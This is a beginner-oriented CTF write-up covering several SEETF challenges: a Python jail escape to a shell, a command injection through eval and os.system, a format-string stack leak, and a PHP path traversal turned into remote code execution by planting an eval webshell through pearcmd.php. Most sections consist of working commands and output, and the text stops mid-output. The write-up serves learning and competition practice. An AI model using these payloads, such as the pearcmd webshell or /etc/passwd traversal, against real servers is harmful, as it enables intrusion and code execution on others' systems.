SEEing some Flags in SEETF

Over the weekend, I participated in the SEETF Capture The Flag Competition. My Team was NYCP, and we ended up doing average (I hope) at 114th place out of 740 teams (560 teams got >200 points)

image.png

Category Breakdown.png

image.png

Overall this was an interesting CTF. Some of the challenges had very interesting concepts, like the Weird Machines one (though I was too lazy and not good enough to solve them). Even the beginner challenges were well thought out, with useful resources included AND applying them in interesting enough ways.

I'll be going through some of the challenges that I focused on. I aim to go through it in detail for any beginners/n00bs (like myself lol). Basic Linux/ Python/ Web Programming knowledge is assumed.

Some of my files are at my Github Repo here

Pwn

I suck at pwn, but it's still fun so I'm still going to keep doing it

"as" "df"

Firstly I tried finding all the global variables using dir(), and there is an interesting variable named blacklist

(base) [hacker@hackerbook ~]$ nc fun.chall.seetf.sg 50002
Hello! Welcome to my amazing Python interpreter!
You can run anything you want, but take not, there's a few blacklists!
Flag is in the root directory, have fun!
Enter command: dir()
Enter command: print(dir())
['__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'blacklist', 'sys', 'user_input']
Enter command: print(blacklist) 
('eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', ';', '+', 'ord', 'chr', 'base', 'flag', 'replace', ' ', 'decode', 'join')
Enter command:

I thought, that maybe if I cleared the variable, I could remove the blacklist entirely. This worked, as I could use the import keyword. I imported a library to spawn a bash shell and allow for Remote Code Execution.

(base) [hacker@hackerbook ~]$ nc fun.chall.seetf.sg 50002
Hello! Welcome to my amazing Python interpreter!
You can run anything you want, but take not, there's a few blacklists!
Flag is in the root directory, have fun!
Enter command: blacklist=()
Enter command: import pty; pty.spawn("/bin/bash")
random@app-8575d5795b-mqzr9:~$

I then used this bash shell to find the flag from the root directory, and display its contents using cat

random@app-8575d5795b-mqzr9:~$ cd /
cd /
random@app-8575d5795b-mqzr9:/$ ls
ls
bin   dev  flag  lib    media  opt   root  sbin  sys  usr
boot  etc  home  lib64  mnt    proc  run   srv   tmp  var
random@app-8575d5795b-mqzr9:/$ cat flag
cat flag
SEE{every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315}
random@app-8575d5795b-mqzr9:/$

Flag

SEE{every_ctf_must_have_a_python_jail_challenge_836a4218fb09b4a0ab0412e64de74315}

Wayang.py

This is a simple command injection challenge that was satisfying to work through.

These are the contents of wayang.py that were given

#!/usr/local/bin/python
import os

FLAG_FILE = "FLAG"

def get_input() -> int:
    print('''                 ,#####,
                 #_   _#
                 |a` `a|
                 |  u  |            ________________________
                 \  =  /           |        WAYYANG         |
                 |\___/|           <     TERMINAL  v1.0     |
        ___ ____/:     :\____ ___  |________________________|
      .'   `.-===-\   /-===-.`   '.
     /      .-"""""-.-"""""-.      \
    /'             =:=             '\
  .'  ' .:    o   -=:=-   o    :. '  `.
  (.'   /'. '-.....-'-.....-' .'\   '.)
  /' ._/   ".     --:--     ."   \_. '\
 |  .'|      ".  ---:---  ."      |'.  |
 |  : |       |  ---:---  |       | :  |
  \ : |       |_____._____|       | : /
  /   (       |----|------|       )   \
 /... .|      |    |      |      |. ...\
|::::/'' jgs /     |       \     ''\::::|
'""""       /'    .L_      `\       """"'
           /'-.,__/` `\__..-'\
          ;      /     \      ;
          :     /       \     |
          |    /         \.   |
          |`../           |  ,/
          ( _ )           |  _)
          |   |           |   |
          |___|           \___|
          :===|            |==|
           \  /            |__|
           /\/\           /"""`8.__
           |oo|           \__.//___)
           |==|
           \__/''')
    print("What would you like to do today?")
    print("1. Weather")
    print("2. Time")
    print("3. Tiktok of the day")
    print("4. Read straits times")
    print("5. Get flag")
    print("6. Exit")

    choice = int(input(">> "))

    return choice


if __name__ == '__main__':
    choice = get_input()

    if choice == 1:
        print("CLEAR SKIES FOR HANDSOME MEN")
    elif choice == 2:
        print("IT'S ALWAYS SEXY TIME")
    elif choice == 3:
        print("https://www.tiktok.com/@benawad/video/7039054021797252399")
    elif choice == 4:
        filename = input("which news article you want babe :)   ")
        not_allowed = [char for char in FLAG_FILE]

        for char in filename:
            if char in not_allowed:
                print("NICE TRY. WAYYANG SEE YOU!!!!!")
                os.system(f"cat news.txt")
                exit()

        try:
            os.system(f"cat {eval(filename)}")
        except:
            pass
    elif choice == 5:
        print("NOT READY YET. MAYBE AFTER CTF????")

This line in option 4 in particular looks like injection can be done, eiither through eval or command line injection.

  • eval is a python function that evaluates its argument as python code. In other words, we could potentially custom inject some python code.
  • eval(filename) is injected into the command through an f-string. This means that I could do a command injection to run Linux Commands.
os.system(f"cat {eval(filename)}")

The variable filename just needs to contain characters which are not in the variable not_allowed. They are FLAG. As such, we are free to use characters like ;, to chain togther linux commands.

My eventual payload decided on was "1+1;cat *".

  • The quotes are to denote that the input parsed by eval is a python string.
  • 1+1 is just some padding for the cat in f"cat {eval(filename)}" to parse. cat 1+1 would actually result in an error in the linux terminal, but I don't really care if other useless systems crash and burn :)
  • ; is a command delimiter. This means that
  • cat * displays all the contents of all the files in the directory, where cat shows the contents of file, and * refers to all files in the directory. This would most likely include the flag file.
(base) [hacker@hackerbook ~]$ nc fun.chall.seetf.sg 50008
                 ,#####,
                 #_   _#
                 |a` `a|
                 |  u  |            ________________________
                 \  =  /           |        WAYYANG         |
                 |\___/|           <     TERMINAL  v1.0     |
        ___ ____/:     :\____ ___  |________________________|
      .'   `.-===-\   /-===-.`   '.
     /      .-"""""-.-"""""-.      \
    /'             =:=             '\
  .'  ' .:    o   -=:=-   o    :. '  `.
  (.'   /'. '-.....-'-.....-' .'\   '.)
  /' ._/   ".     --:--     ."   \_. '\
 |  .'|      ".  ---:---  ."      |'.  |
 |  : |       |  ---:---  |       | :  |
  \ : |       |_____._____|       | : /
  /   (       |----|------|       )   \
 /... .|      |    |      |      |. ...\
|::::/'' jgs /     |       \     ''\::::|
'""""       /'    .L_      `\       """"'
           /'-.,__/` `\__..-'\
          ;      /     \      ;
          :     /       \     |
          |    /         \.   |
          |`../           |  ,/
          ( _ )           |  _)
          |   |           |   |
          |___|           \___|
          :===|            |==|
           \  /            |__|
           /\/\           /"""`8.__
           |oo|           \__.//___)
           |==|
           \__/
What would you like to do today?
1. Weather
2. Time
3. Tiktok of the day
4. Read straits times
5. Get flag
6. Exit
>> 4
which news article you want babe :)   "1+1;cat *"
SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}WAYYANG DECLARED SEXIEST MAN ALIVE

SINGAPORE - In the latest edition of Mister Universe, Wayyang won again, surprising absolutely no one.
The judges were blown away by his awesome abdominals and stunned by his sublime sexiness.
When asked for his opinions on his latest win, Wayyang said nothing, choosing to smoulder into the distance.# /usr/bin/sh
python wayyang.py#!/usr/local/bin/python
import os

FLAG_FILE = "FLAG"

def get_input() -> int:
    print('''                 ,#####,
                 #_   _#
                 |a` `a|
                 |  u  |            ________________________
                 \  =  /           |        WAYYANG         |
                 |\___/|           <     TERMINAL  v1.0     |
        ___ ____/:     :\____ ___  |________________________|
      .'   `.-===-\   /-===-.`   '.
     /      .-"""""-.-"""""-.      \\
    /'             =:=             '\\
  .'  ' .:    o   -=:=-   o    :. '  `.
  (.'   /'. '-.....-'-.....-' .'\   '.)
  /' ._/   ".     --:--     ."   \_. '\\
 |  .'|      ".  ---:---  ."      |'.  |
 |  : |       |  ---:---  |       | :  |
  \ : |       |_____._____|       | : /
  /   (       |----|------|       )   \\
 /... .|      |    |      |      |. ...\\
|::::/'' jgs /     |       \     ''\::::|
'""""       /'    .L_      `\       """"'
           /'-.,__/` `\__..-'\\
          ;      /     \      ;
          :     /       \     |
          |    /         \.   |
          |`../           |  ,/
          ( _ )           |  _)
          |   |           |   |
          |___|           \___|
          :===|            |==|
           \  /            |__|
           /\/\           /"""`8.__
           |oo|           \__.//___)
           |==|
           \__/''')
    print("What would you like to do today?")
    print("1. Weather")
    print("2. Time")
    print("3. Tiktok of the day")
    print("4. Read straits times")
    print("5. Get flag")
    print("6. Exit")

    choice = int(input(">> "))

    return choice


if __name__ == '__main__':
    choice = get_input()

    if choice == 1:
        print("CLEAR SKIES FOR HANDSOME MEN")
    elif choice == 2:
        print("IT'S ALWAYS SEXY TIME")
    elif choice == 3:
        print("https://www.tiktok.com/@benawad/video/7039054021797252399")
    elif choice == 4:
        filename = input("which news article you want babe :)   ")
        not_allowed = [char for char in FLAG_FILE]

        for char in filename:
            if char in not_allowed:
                print("NICE TRY. WAYYANG SEE YOU!!!!!")
                os.system(f"cat news")
                exit()

        try:
            os.system(f"cat {eval(filename)}")
        except:
            pass
    elif choice == 5:
        print("NOT READY YET. MAYBE AFTER CTF????")
(base) [hacker@hackerbook ~]$

Flag

SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}

4mats

Well my writeup while doing the challenge got lost so I had to redo this challenge. Fortunately it was a fun take on the format string vulnerability.

Analysis

I read the source code given in vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char name[16];
char echo[100];
int number;
int guess;
int set = 0;
char format[64] = {0};


void guess_me(int fav_num){
    printf("Guess my favourite number!\n");
    scanf("%d", &guess);
    if (guess == fav_num){
        printf("Yes! You know me so well!\n");
    system("cat flag");
        exit(0);}
   else{
       printf("Not even close!\n");
   }

}


int main() {

mat1:
    printf("Welcome to SEETF!\n");
    printf("Please enter your name to register: %s\n", name);
    read(0, name, 16);

    printf("Welcome: %s\n", name);

    while(1) {
mat2:
        printf("Let's get to know each other!\n");
        printf("1. Do you know me?\n");
        printf("2. Do I know you?\n");

mat3:
        scanf("%d", &number);


        switch (number)
        {
            case 1:
                srand(time(NULL));
                int fav_num = rand() % 1000000;
        set += 1;
mat4:
                guess_me(fav_num);
                break;

            case 2:
mat5:
                printf("Whats your favourite format of CTFs?\n");
        read(0, format, 64);
                printf("Same! I love \n");
        printf(format);
                printf("too!\n");
                break;

            default:
                printf("I print instructions 4 what\n");
        if (set == 1)
mat6:
                    goto mat1;
        else if (set == 2)
            goto mat2;
        else if (set == 3)
mat7:
                    goto mat3;
        else if (set == 4)
                    goto mat4;
        else if (set == 5)
                    goto mat5;
        else if (set == 6)
                    goto mat6;
        else if (set == 7)
                    goto mat7;
                break;
        }
    }
    return 0;
}

The most interesting things is that there are gotos which we could potentially abuse, some like mat4 even in places where the variables are not initialised properly yet.

Steps

Firstly I increased set to 1

┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$ nc fun.chall.seetf.sg 50001
Welcome to SEETF!
Please enter your name to register: 
hacker
Welcome: hacker

Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0 
Not even close!

I then displayed the contents on the stack using the format string vulnerability

Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
Whats your favourite format of CTFs?
%x %x %x %x %x %x %x %x %x %x %x %x 
Same! I love 
804a080 40 8048756 1 ffcecec4 ffcececc 85822 f7fbe3dc ffcece30 0 f7e26647 f7fbe000 
too!

I increased the value of set to 2 and viewed the contents on the stack. Noticed that the 7th value cf9e5 is different from the previous 7th value 85822. The only values that changed so far are set = 2 and fav_num. We can hence infer that the 7th value is fav_num

Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
Whats your favourite format of CTFs?

Same! I love 

x 804a080 40 8048756 1 ffcecec4 ffcececc cf9e5 f7fbe3dc ffcece30 0 f7e26647 
too!

I increased the value of set to 3 and then to 4

Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
2

I displayed the 7th value on the stack in denary.

Whats your favourite format of CTFs?
%7$d
Same! I love 
610084
 804a080 40 8048756 1 ffcecec4 ffcececc 94f24 f7fbe3dc ffcece30 0 
too!

Lastly, i jumped to mat4 by not selecting any of the current options, and entered the fav_num to get the flag

Let's get to know each other!
1. Do you know me?
2. Do I know you?
4
I print instructions 4 what
Guess my favourite number!
610084
Yes! You know me so well!
SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}
┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$

Flag

SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}

Web - Sourceless Guessy Flag

I only managed to solve Sourceless Guessy Web. It was a surprise that I even manage to solve the RCE Flag.

Solution (Baby Flag)

image.png

image.png

image.png

The hint for this challenge is file path traversal. A brief summary of file path traversal (if you haven't read the hint)

  1. Web server code wants to access a local file. In this case is sourcelessguessyweb.chall.seetf.sg:1337/?page=whysoserious
    1. the whysoserious is a file that is in the current directory.
  2. In Linux, you can use ../ to traverse up one directory. You can chain multiple of those together to traverse back up multiple directories (eg. ../../../ for 3 directories)
    1. You can just spam ../ until you reach root. eg. even though in phpinfo.php the current working directory is /var/www/html, you can theoretically spam 3 or more of ../ to reach the root directory
    2. For example, http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../../../etc/passwd
  3. Once you traverse to the root directory, you can access most files from the root directory, like /etc/passwd
    1. This is subject to the user running the web server (eg. www-data running the apache2 web server) has sufficient permissions to access the file
    2. This means you can't just anyhow access files which require root access like /etc/shadow. The current user does not have enough permissions
    3. Since you can't anyhow access files, most people use this path traversal vulnerability and lead to remote code execution

image.png

The standard hacking protocol calls me to access /etc/passwd, as it is able to be read by any user. It is the file that provides the list of users in Linux, along with other details like their home directories.

(base) [hacker@hackerbook ~]$ curl http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../etc/passwd

...

    let message = `
        root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}
    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

...

Solution (RCE Flag)

Confirming LFI or just Directory Traversal

This is likely overlooked, but there's a difference between Local File Inclusion and Directory Traversal

Local File Inclusion (LFI)Only Directory Traversal
File is loaded and Executed as codeFile is loaded, and only shown as text in the resultant webpage

It's a good idea to confirm that the Directory Traversal vulnerability is actually LFI and can run code. If it can run code, we can use this vulnerability to access custom code and lead to Remote Code Execution. Else, we have to try to leak an important file which allows for RCE, which is unlikely in a Docker Container.

Firstly, on opening the first link from the home page, we are directed to a phpinfo page

image.png

I tried traversing to that file to test if code is executed in the vulnerability. If it is not, the text returned should be something like <?php phpinfo();?>, to show the contents of the phpinfo.php file.

Fortunately, I instead got the output of phpinfo, showing that it is an LFI vulnerability

$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/hi.php" 

...

</td></tr>
</table>
<table>
<tr><td class="e">System </td><td class="v">Linux app-6799f56885-p78l5 5.4.170+ #1 SMP Wed Mar 23 10:13:41 PDT 2022 x86_64 </td></tr>
<tr><td class="e">Build Date </td><td class="v">May 13 2022 22:25:02 </td></tr>
<tr><td class="e">Build System </td><td class="v">Linux 919d1ff24703 5.10.0-13-cloud-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 GNU/Linux </td></tr>
<tr><td class="e">Configure Command </td><td class="v"> &#039;./configure&#039;  &#039;--build=x86_64-linux-gnu&#039; &#039;--with-config-file-path=/usr/local/etc/php&#039; &#039;--with-config-file-scan-dir=/usr/local/etc/php/conf.d&#039; &#039;--enable-option-checking=fatal&#039; &#039;--with-mhash&#039; &#039;--with-pic&#039; &#039;--enable-ftp&#039; &#039;--enable-mbstring&#039; &#039;--enable-mysqlnd&#039; &#039;--with-password-argon2&#039; &#039;--with-sodium=shared&#039; &#039;--with-pdo-sqlite=/usr&#039; &#039;--with-sqlite3=/usr&#039; &#039;--with-curl&#039; &#039;--with-iconv&#039; &#039;--with-openssl&#039; &#039;--with-readline&#039; &#039;--with-zlib&#039; &#039;--disable-phpdbg&#039; &#039;--with-pear&#039; &#039;--with-libdir=lib/x86_64-linux-gnu&#039; &#039;--disable-cgi&#039; &#039;--with-apxs2&#039; &#039;build_alias=x86_64-linux-gnu&#039; </td></tr>
<tr><td class="e">Server API </td><td class="v">Apache 2.0 Handler </td></tr>
<tr><td class="e">Virtual Directory Support </td><td class="v">disabled </td></tr>
<tr><td class="e">Configuration File (php.ini) Path </td><td class="v">/usr/local/etc/php </td></tr>
<tr><td class="e">Loaded Configuration File </td><td class="v">(none) </td></tr>
<tr><td class="e">Scan this dir for additional .ini files </td><td class="v">/usr/local/etc/php/conf.d </td></tr>
<tr><td class="e">Additional .ini files parsed </td><td class="v">/usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
 </td></tr>

How I found the exploit out in the CTF

I randomly tried accessing /tmp/hi.php because I tried creating it via another exploit (phpinfo LFI to RCE). Never expect someone else already create it. It included the file /usr/local/lib/php/pearcmd.php and realised this could lead to a webshell.

I expected the /tmp directory to be always clean to prevent interferrence. But oh well, works for me!

(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/hi.php" 

<!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
-->

...

whysoserious/pear";s:7:"man_dir";s:79:"/&page=../../../../../usr/local/lib/php/pearcmd.php&/index.php
main.css
phpinfo.php
whysoserious
whysoserious/pear/man";}    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit > div');
        for (let i = 0; i < parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j < partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
</script>
</html>(base) [hacker@hackerbook tmp]$

Pearcmd exploit

On researching more in pearcmd, I found out that there are other writeups for it already. We could use the payloads there.

  • https://ctftime.org/writeup/30236
  • https://chowdera.com/2022/02/202202080401099387.html

First I tested that the file I'm creating does not exist yet

(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('whoami');"

<!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
-->

...

<script>
    let message = `
            `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit > div');
        for (let i = 0; i < parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j < partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
</script>
</html>

Creating a webshell file to access via LFI later. I modified /test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/hello.php that I can find at https://chowdera.com/2022/02/202202080401099387.html, especially the file path and the LFI parameter to fit the context.

  • I changed /test.php to / to fit the path affected by LFI on the challenge
  • I changed &file= to &page= to fit the parameter affected by LFI on the challenge
  • I changed /tmp/hello.php to /tmp/eval.php to change the file to write to
(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg+config-create+/&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval(\$_POST\[1\])?>+/tmp/eval.php"

<!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
-->
...

<script>
    let message = `
        CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels     auto_discover    <not set>
Default Channel                default_channel  pear.php.net
HTTP Proxy Server Address      http_proxy       <not set>
PEAR server [DEPRECATED]       master_server    <not set>
Default Channel Mirror         preferred_mirror <not set>
Remote Configuration File      remote_config    <not set>
PEAR executables directory     bin_dir          /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear
PEAR documentation directory   doc_dir          /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/docs
PHP extension directory        ext_dir          /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/ext
PEAR directory                 php_dir          /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/php
PEAR Installer cache directory cache_dir        /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/cache
PEAR configuration file        cfg_dir          /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/cfg
directory
PEAR data directory            data_dir         /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/data
PEAR Installer download        download_dir     /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/download
directory
Systems manpage files          man_dir          /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/man
directory
PEAR metadata directory        metadata_dir     <not set>
PHP CLI/CGI binary             php_bin          <not set>
php.ini location               php_ini          <not set>
--program-prefix passed to     php_prefix       <not set>
PHP's ./configure
--program-suffix passed to     php_suffix       <not set>
PHP's ./configure
PEAR Installer temp directory  temp_dir         /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/temp
PEAR test directory            test_dir         /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/tests
PEAR www files directory       www_dir          /&page=../../../usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1])?>/pear/www
Cache TimeToLive               cache_ttl        <not set>
Preferred Package State        preferred_state  <not set>
Unix file mask                 umask            <not set>
Debug Log Level                verbose          <not set>
PEAR password (for             password         <not set>
maintainers)
Signature Handling Program     sig_bin          <not set>
Signature Key Directory        sig_keydir       <not set>
Signature Key Id               sig_keyid        <not set>
Package Signature Type         sig_type         <not set>
PEAR username (for             username         <not set>
maintainers)
User Configuration File        Filename         /tmp/eval.php
System Configuration File      Filename         #no#system#config#
Successfully created default configuration file "/tmp/eval.php"
    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit > div');
        for (let i = 0; i < parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j < partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
</script>
</html>
(base) [hacker@hackerbook tmp]$

Accessing the file to run custom code.

(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('whoami');"

<!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
-->

...

<script>
    let message = `
        #PEAR_Config 0.9
a:12:{s:7:"php_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/php";s:8:"data_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/data";s:7:"www_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/www";s:7:"cfg_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/cfg";s:7:"ext_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/ext";s:7:"doc_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/docs";s:8:"test_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/tests";s:9:"cache_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/cache";s:12:"download_dir";s:81:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/download";s:8:"temp_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/temp";s:7:"bin_dir";s:72:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear";s:7:"man_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/www-data
/pear/man";}    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit > div');
        for (let i = 0; i < parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j < partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
</script>

RCE

I tested listing everything in the root directory

(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('ls /');"

<!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
-->

...

/pear";s:7:"man_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
readflag
root
run
sbin
srv
sys
tmp
usr
var
/pear/man";}    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit > div');
        for (let i = 0; i < parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j < partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
</script>
</html>(base) [hacker@hackerbook tmp]$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/eval.php"  -d "1=system('/readflag');"

<!--
\        /|   |\   /   /~~  /~~\    /~~ |~~ |~~\| /~~\ |   |/~~
 \  /\  / |---| \ /    |__ |    |   |__ |-- |__/||    ||   ||__
  \/  \/  |   |  |     ___| \__/    ___||__ |  \| \__/  \_/ ___|
-->

...

<script>
    let message = `
        #PEAR_Config 0.9
a:12:{s:7:"php_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/php";s:8:"data_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/data";s:7:"www_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/www";s:7:"cfg_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/cfg";s:7:"ext_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/ext";s:7:"doc_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/docs";s:8:"test_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/tests";s:9:"cache_dir";s:78:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/cache";s:12:"download_dir";s:81:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/download";s:8:"temp_dir";s:77:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/temp";s:7:"bin_dir";